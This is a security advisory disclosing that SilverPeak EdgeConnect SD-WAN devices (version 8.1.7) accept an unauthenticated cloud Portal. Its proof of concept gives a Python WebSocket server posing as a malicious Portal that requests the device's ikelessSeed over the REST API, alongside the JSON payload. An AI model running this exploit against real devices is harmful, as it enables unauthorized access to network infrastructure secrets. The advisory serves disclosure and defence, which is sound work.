

# Security Advisory:

## SDWAN-New-Hop-2020-31-01:

### Malicious Portal Can Access REST API on EdgeConnect

## Summary

There is no authentication between cloud SilverPeak's Portal on the Internet and customers' EdgeConnect devices. EdgeConnect doesn't authenticate Portal. Portal can execute any command on EdgeConnect via REST API.

## Vulnerability Description

We identified the following vulnerabilities in SilverPeak SD-WAN secure communications design and implementation:

1. EdgeConnect doesn't authenticate Portal: we were able to connect an EdgeConnect device to a Portal emulator and execute a command on the EdgeConnect.
2. Portal has access to EdgeConnect's REST API without any authentication.
3. Any Websocket-based remote service proxied to 127.0.0.1:3000 will get unrestricted access to the REST API.

## Proof of Concept

### Setup

1. We implemented a simple service emulating malicious Portal in Python: a TLS-enabled web server with self-signed X.509 certificate accepting all Websocket connections and responding with the following query:

```
{
  "url": "/vxo/httpTunnel",
  "data": {
    "method": "GET",
    "path": "/rest/json/ikelessSeed",
    "headers": {
      "websocket_user": "Orchestrator"
```

```

    }
},
"id":"0"
}

```

2. We added and activated a new Portal into the config of the tested EdgeConnect using web-UI.

## Test

1. We applied the new settings and observed the following.
2. The EdgeConnect established a connection with our Portal.
3. Our Portal sent the request to /rest/json/ikelessSeed.
4. The seed was received.

## Code

```

#!/usr/bin/env python

# WSS (WS over TLS) server example, with a self-signed certificate

import asyncio
import pathlib
import ssl
import websockets

async def hello(websocket, path):
    name = await websocket.recv()
    print(f"< {name}")

    greeting =
'{"url":"/vxoa/httpTunnel","data":{"method":"GET","path":"/rest/json/ikelessSeed","headers"
:{"websock_user":"Orchestrator"}}, "id":"0"}'
    await websocket.send(greeting)
    print(f"> {greeting}")

    response = await websocket.recv()
    print(f"< resp: {response}")

ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
localhost_pem = pathlib.Path(__file__).with_name("server.pem")
ssl_context.load_cert_chain(localhost_pem)

start_server = websockets.serve(
    hello, "0.0.0.0", 443, ssl=ssl_context
)

asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

```

## Vulnerable/Tested Versions

We were able to reproduce the issue on the following versions of EdgeConnect software:

1. 8.1.7

Access was limited to installations with these versions.

## Impact

This is a very critical vulnerability: any device on the Internet can access EdgeConnect's REST API.

## Vendor Contact Timeline

2020-31-01	We contacted the vendor through <a href="mailto:sirt@silver-peak.com">sirt@silver-peak.com</a> and sent the advisory.
2020-01-05	Public release of the security advisory.

## Solution

Unknown at the present time.

## Credits

Denis Kolegov, Mariya Nedyak, Anton Nikolaev from SD-WAN New Hop Team.